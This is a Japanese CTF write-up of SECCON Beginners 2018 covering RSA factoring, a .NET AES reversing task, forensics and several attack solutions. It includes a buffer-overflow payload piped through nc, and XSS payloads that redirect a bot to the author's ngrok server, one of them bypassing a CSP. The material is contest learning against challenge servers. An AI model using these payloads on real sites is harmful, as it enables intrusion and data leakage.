SECCON Beginners CTF 2018 write-up

僕は全問解いていないので、全問揃ったWrite-upが見たい場合は他の方が書いたこのwrite-upがよさそうです → SECCON Beginners CTF 2018 Write-up - Qiita

SECCON Beginners CTF 2018 にチーム SQUID として参加しました

「チーム名はいかした名前がいいよね」ということで決まったチーム名でした

1343点で43位でした

はじめてのチーム参加でしたが、自分ひとりだけの知恵で戦う必要がなく、とても良い体験でした

僕は16問中11問解き、今回の記事では解いたものに関してのwrite-upを記述しています

f:id:naari_3:20180527140029p:plain

Crypto

[Warmup] Veni, vidi, vici はチームの zzuf が解きました Streaming はチームの taryan が解きました

この分野ほんとうにわからんし一番望みがないものだったのでありがたい :pray:

RSA is Power

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

そんなに大きくない桁のRSA暗号でした

N素因数分解すれば良いので msieve に通します

$ ./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577

~中略~

memory use: 2.6 MB
lanczos halted after 408 iterations (dim = 25732)
recovered 17 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329
prp39 factor: 324144336644773773047359441106332937713
elapsed time 00:02:34

というわけで

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713

あとはCを復号します

import rsa
import binascii

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713


D = rsa.key.calculate_keys_custom_exponent(P, Q, E)[1]

plain = pow(C, D, N)

print(binascii.unhexlify(hex(plain)[2:]).decode('utf-8'))

ctf4b{5imple_rs4_1s_3asy_f0r_u}

Pwn

1問しか解いてません

1問解けたので満足しています

pwnはそれぞれサーバーのバイナリが用意されていました

[Warmup] condition

接続すると

Please tell me your name...

となり、 文字列を入力すると

Please tell me your name...testtest
Permission denied

となる

配布されているバイナリを逆アセンブルすると

   0x0000000000400796 <+37>:   mov    eax,0x0
   0x000000000040079b <+42>:   call   0x400620 <gets@plt>
=> 0x00000000004007a0 <+47>:   cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004007a7 <+54>:   jne    0x4007bf <main+78>

こんな感じで、getsで取得したバッファの後に 0xdeadbeef が入って入ればフラグが表示されるように分岐されるようなので、

python -c 'print "a" * 44 +"\xef\xbe\xad\xde"' | nc pwn1.chall.beginners.seccon.jp 16268

ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

Reversing

前までこのレベルでもうんともすんとも言わなかったので、今回は2つ解けてよかったです

BBSにも挑戦したのですが、 system にどうやって /bin/sh を渡すか分からず…

ROPを使うらしいが、そのROPの手法がよく分からなかったです、無念

[Warmup] Simple Auth

アセンブルすると入力された文字列とそのまま比較してる箇所があったので、それが答えでした

  4006a8:   c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  4006ac:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
  4006b0:   c6 45 d2 66             mov    BYTE PTR [rbp-0x2e],0x66
  4006b4:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  4006b8:   c6 45 d4 62             mov    BYTE PTR [rbp-0x2c],0x62
  4006bc:   c6 45 d5 7b             mov    BYTE PTR [rbp-0x2b],0x7b
  4006c0:   c6 45 d6 72             mov    BYTE PTR [rbp-0x2a],0x72
  4006c4:   c6 45 d7 65             mov    BYTE PTR [rbp-0x29],0x65
~省略~
  400700:   c6 45 e6 72             mov    BYTE PTR [rbp-0x1a],0x72
  400704:   c6 45 e7 64             mov    BYTE PTR [rbp-0x19],0x64
  400708:   c6 45 e8 7d             mov    BYTE PTR [rbp-0x18],0x7d

ctf4b{rev3rsing_p4ssw0rd}

Activation

この問題の FLAG は ctf4b{アクティベーションコード} です。

exeが降ってきてギョッとした、まだ慣れない…

file で見てみると.Netだったので dnSpy に入れます

ちょっと前まではILSpyを使ってたけどdnSpyのほうが見やすいしいいのでこっちを使いましょう

どうやら文字列が軽く暗号化されており、先にこれを復号しておく必要がありそうだったので複合する

f:id:naari_3:20180527144125p:plain
暗号化された文字列の図

数百程度の要素を持つbyte型の配列に対して以下のような感じで復号

crypted_list = [] # ここにbytes型(PythonではInt型)の要素が入る

decrypted_list = []
for i, c in enumerate(crypted_list):
    decrypted_list.append((j ^ i ^ 170) % 256)

print "".join(map(lambda x: chr(x), decrypted_list)) # 読める文字列

C#で取得されるときはこんな感じで、

public static string a()
{
    return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[1] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(1, 15, 35);
}
  • 用意されたstring型配列のindex 1に要素があれば返す
  • なければさっき復号した文字列の15番目から35文字を取り出して返す

といったものだったので、これ以降文字列を取る際はさっき復号した文字列から取ることになります

次に起動されてからアクティベーションコードが認証までを探ります

  • ドライブ一覧を取得
    • ルートディレクトリ内で *.* というルールでファイルを取得
    • いずれかのファイルが SECCON_BEGINNERS と等しければ flag変数を true にする
  • flag変数が false なら終了
  • AesCryptoServiceProviderのインスタンスを作成
    • BlockSize = 128
    • KeySize = 256
    • IV = "CTF4B7E1" + "CTF4B7E1"
    • Key = "SECCON_BEGINNERS"
    • Mode = CipherMode.ECB
    • Padding = PaddingMode.PKCS7
  • ユーザーが入力した文字列を上のAesCryptoServiceProviderで暗号化、base64した結果が E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5 と等しければ認証成功

といった感じでした

やることは簡単で、E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5を復号した結果が正しいアクティベーションコードなので、復号します

using System;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

public class Hello{
  public static void Main() {
    AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
    aesCryptoServiceProvider.BlockSize = 128;
    aesCryptoServiceProvider.KeySize = 256;
    aesCryptoServiceProvider.IV = Encoding.ASCII.GetBytes("CTF4B7E1" + "CTF4B7E1");
    aesCryptoServiceProvider.Key = Encoding.ASCII.GetBytes("SECCON_BEGINNERS");
    aesCryptoServiceProvider.Mode = CipherMode.ECB;
    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
    byte[] criptedBytes = Convert.FromBase64String("E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5");
    byte[] inArray = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(criptedBytes, 0, criptedBytes.Length);
    string plaintext = Encoding.ASCII.GetString(inArray);

    Console.WriteLine(plaintext);
  }
};

ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}

Web

[Warmup] GreetingSECCON Goods は zzuf が解きました SECCON Goods に関しては問題鯖に対して sqlmap を撃ってflagを出したらしいです

Gimme your comment

このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

付与されたjsを見ると、 puppeteer が動いており、

  • コメント投稿後にコメントのページに移動
  • input[name="comment_content"]投稿ありがとうございます。大変参考になりました。 と入力
  • button[type=submit] をクリック

というように動いていました

入力したコメント本文がエスケープされずそのままhtmlに貼られたので、自前で適当なサーバーを作ってそこにリダイレクトさせます

from flask import Flask, request
app = Flask(__name__)

@app.route('/')
def hello():
    name = "Hello World"
    print request.headers.get('User-Agent')
    return name

if __name__ == "__main__":
    app.run(debug=True)
$ ngrok http 5000
# Forwarding にngrokドメインのurlが貼られるのでそれを使う
<script>location.href = 'http://{Forwardingの文字列}.ngrok.io';</script>

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

1つ前のものと比べ、基本的な動きや puppeteer で動くクライアントのソースコードは全く変わっていませんでした

同じくコメント本文はエスケープされなかったのでとりあえず同じようにXSSを狙うと、次のようなエラーが出ます

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-dtZQXTtwWaTWzlzbWQI5YFQO/v4LWqNq9cqtOQ8D9nI='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

ヘッダにある Content-Security-Policy: default-src 'self' によってこうなるらしいです、こんなの初めて知った…

ただ前回と同じくエスケープはされないため、コメントでもう1つ <form><button> を用意して、それを押してもらいます。

<form method="post" "http://{Forwardingの文字列}.ngrok.io/comments">
  <input type="text" name="comment_content">
  <button type="submit">コメントを送信する</button>
</form>

自前のサーバー側も少し手を加えます

@app.route('/comment', methods=['POST'])
def comment():
    name = "comment"
    print request.headers.get('User-Agent')
    return name

ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

とのことで、ルールのページに記載されていたIRCチャンネルにログインすると表示されました

本当にめちゃくちゃ久々にIRCを触った…

[Warmup] plain mail

pcapファイルがあり、平文でのメールのやりとりがキャプチャされていました

フラグになるっぽいメール本文は2つあり、片方はzipつき、もう片方は you_are_pro という本文でした

zipは鍵がかかっており、パスワードを尋ねられたので you_are_pro と入力したら解凍できました PRO

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
869 + 924 = 1793
(Stage.2)
665 * 677 = a
[!!] Wrong, see you.

こういうやつでした、愚直に解くものを書きます

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

while True:
    text = s.recv(4096)
    print text

    prob = text.split('\n')[-1]

    ans = eval("".join(prob.split(' ')[:3]))
    print ans

    s.send("{}\n".format(ans))

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

disc.img というバイナリが配布されます

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x1,22,31), end-CHS (0x63,36,30), startsector 2046, 129024 sectors

mountできるものではなさそうなので、 testdisk を使ってファイルを取り出します

f:id:naari_3:20180527154940p:plain

[Proceed] -> [Intel] -> [Analyse] -> [Quick Search] -> 見たいパーティションの上で P とすると内部のディレクトリを覗くことができます

f:id:naari_3:20180527155630p:plain

A ですべてのファイルを選択し、C でコピーに移り、保存先を指定できるので適当なディレクトリを指定します

$ tree
.
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   └── message_2_of_3.png
└── message3
    └── message_3_of_3.pdf

4 directories, 3 files

message{1,2,3}のそれぞれにフラグの欠片のようなものがあるので見ていきましょう

$ cat message_1_of_3.txt | base64 -d
ctf4b{y0u_t0uched

1つ目はbase64エンコードされたものでした

ctf4b{y0u_t0uched

$ file message_2_of_3.png
message_2_of_3.png: data

2つ目はpngかと思いきやそうではないようです

バイナリエディタで見てみると、マジックナンバーX で埋められているので正しいマジックナンバーに直します

f:id:naari_3:20180527161158p:plain
左:欠損png, 右:正常png

開くことができました

f:id:naari_3:20180527162943p:plain

_a_part_0f_

そのまま3つ目を探ろうとしましたが、 message_3_of_3.pdf は0バイトでした

別のツールを使ってpdfだけ抽出してみます

$ foremost -t pdf -i disk.img
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: disk.img
|*|
$ tree ./output
./output
├── audit.txt
└── pdf
    └── 00018946.pdf

こちらは正しそうなpdfで、開くことができました

f:id:naari_3:20180527162327p:plain

disk_image_for3nsics}

ということでフラグは以下のとおりです↓

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}